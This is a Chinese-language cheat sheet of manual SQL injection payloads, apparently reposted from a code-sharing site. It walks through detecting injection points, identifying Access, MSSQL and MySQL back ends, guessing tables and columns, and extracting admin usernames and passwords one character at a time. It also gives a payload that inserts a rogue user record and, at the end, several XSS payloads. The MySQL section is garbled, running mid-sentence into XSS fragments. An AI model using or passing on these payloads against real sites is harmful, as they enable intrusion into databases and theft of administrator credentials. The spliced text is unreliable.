SQL注入語句-手工測試


准備工作:先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論服務器返回什么錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。

數字型:and 1=1 and 1=2 判斷是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 關鍵字%' and 1=1 and '%'='% 關鍵字%' and 1=2 and '%'='%

IIS報錯情況下使用:

  1. and user>0 (判斷是ACCESS還是MSSQL)不報錯則使用各自數據庫特性來判斷
  2. and (select count(*) from msysobjects)>0 (返回權限不足access數據庫)
  3. and (select count(*) from sysobjects)>0 (返回正常則為MSSQL數據庫)
  4. and db_name()>0 (返回數據庫名)
  5. and 0<>(select @@version)-- (判斷版本信息)
  6. and db_name()>0 (返回數據庫名)

************注意:猜解之前先要找到后台地址,不然白忙了**********
ACCESS注入:

猜解表名(正常則存在admin,不正常則不存在)

and exists (select * from [admin])

and (Select Count(*) from Admin)>0

猜解字段:(字段username存在則正常,不正常則不存在)

and (Select username from Admin)>0

and exists (select username from [admin])

猜解用戶名和密碼長度

and (select top 1 len(username) from Admin)>0

and (select top 1 len(password) from Admin)>0

原 理:如果top 1的username長度大於0,則條件成立;接着就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>4成 立,>5不成立,就是len(username)=5,即用戶名長度為5.得到username的長度后,用mid(username,N,1)截 取第N位字符,再asc(mid(username,N,1))得到ASCII碼.

猜解用戶

and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,

當輸入到109時,顯示錯誤,而108之前顯示正確,說明第一個字符的ASCII碼為109.,得到第一個字符是m。

同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…

到114的時候不成立,說明第二個字符的ASCII碼值為114,字符為r。

注意的是英文和數字的ASCII碼在1-128之間...


MSSQL注入:

having 1=1-- 【爆出一個表名及字段,如:列 'users.ID' 在選擇列表中無效】

group by users.ID having 1=1--

group by users.ID, users.username, users.password, users.privs having 1=1--

; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新記錄】

猜解表名:

SQL SERVER的每一個數據庫都會有用戶表和系統表,在系統表sysobjects中, 數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在sysobjects表中占一行,那么也就是說當前數據庫的表名都會在該表內有存在。 我們常用到的參數有三個,name (數據表的名字),xtype( 數據表的類型 u為用戶表),id( 數據表的對象標志)。

and (select top 1 name from sysobjects where xtype='u')>0 (得到第一個表名:比如user)

and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二個表名,后面的以此類推。。

猜解列名:

用 到系統自帶的2個函數col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,參數table_id是表的標識號,column_id是列的標識號,object_id(admin)就是得到admin在sysobjects 中的標識號,column_id=1,2,3表明admin的第1,2,3列。

and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一個列名“username”依次類推,得到“password”“id”等等】

猜解字段內容:

and (select top 1 username from [admin])>0 【直接得到用戶名】

and (select top 1 password from [admin])>0 【直接得到密碼】

UNION聯合查詢:

select name,password,id from user union select user,pwd,uid from 表名

and 1=1 unionselect 1,2,3,4,5... from 表名 (數值從1開始慢慢加,如果加到5返回正常,那就存在5個字段)

ASCII逐字解碼法:

1、猜解列長度

and (select top 1 len(列名)from 表名)>N

其中N是數字,變換這個N的值猜解列長度,當N為6正確,為7錯誤,則長度為7

猜解第二條記錄就該使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

2、猜解用戶和密碼

ASC()函數和Mid函數,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII碼

猜解語句為:and (select top 1 asc(mid(字段,1,1)) from 數據庫名)>ASCII碼

區間判斷語句:....between......and......

中文處理法:當ASCII轉換后為“負數”使用abs()函數取絕對值。

例:and (select top 1 abs(asc(mid(字段,1,1))) from 數據庫名)=ASC碼

ASCII逐字解碼法的應用:

1、猜解表名:and (select count(*) from admin)<>0

2、猜解列名:and (select count(列名) from 表名)<>0

3、猜解用戶個數:and (select count(*) from 表名)>1,2.. 2正常,3錯誤,表中有3條記錄。

4、猜解用戶名的長度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。

5、猜解用戶名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0

最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值

6、猜解管理員的密碼:

按照上面的原理,把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到密碼了。

 

MYSQL+PHP注入:

1.判斷是否存在注入,加';and 1=1 ;and 1=2

2.判斷版本 and ord(mid(version(),1,1))>51 代替。

3.判斷數據庫連接帳號有沒有寫權限,and (select count(*) from mysql.user)>0 onerror=alert(/xss/) width=150></img> ( 表示注釋)

<img src=vbscript:msgbox ('xss')></img>

<style> input {left:expression_r (alert('xss'))}</style>

<div style={left:expression_r (alert('xss'))}></div>

<div style={left:expression_r (alert('xss'))}></div>

<div style={left:\0065\0078ression (alert('xss'))}></div>

html 實體 <div style={left:&#x0065;xpression (alert('xss'))}></div>

unicode <div style='{left:expression_r (alert('xss'))}'>[/post]


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM